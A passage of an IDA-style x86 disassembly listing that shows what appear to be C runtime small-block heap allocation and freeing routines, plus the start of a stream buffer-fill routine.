		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		call	near ptr 27C0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28A072Ah

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27B0000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28A072Ah
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28A072Ah
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28A0899h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
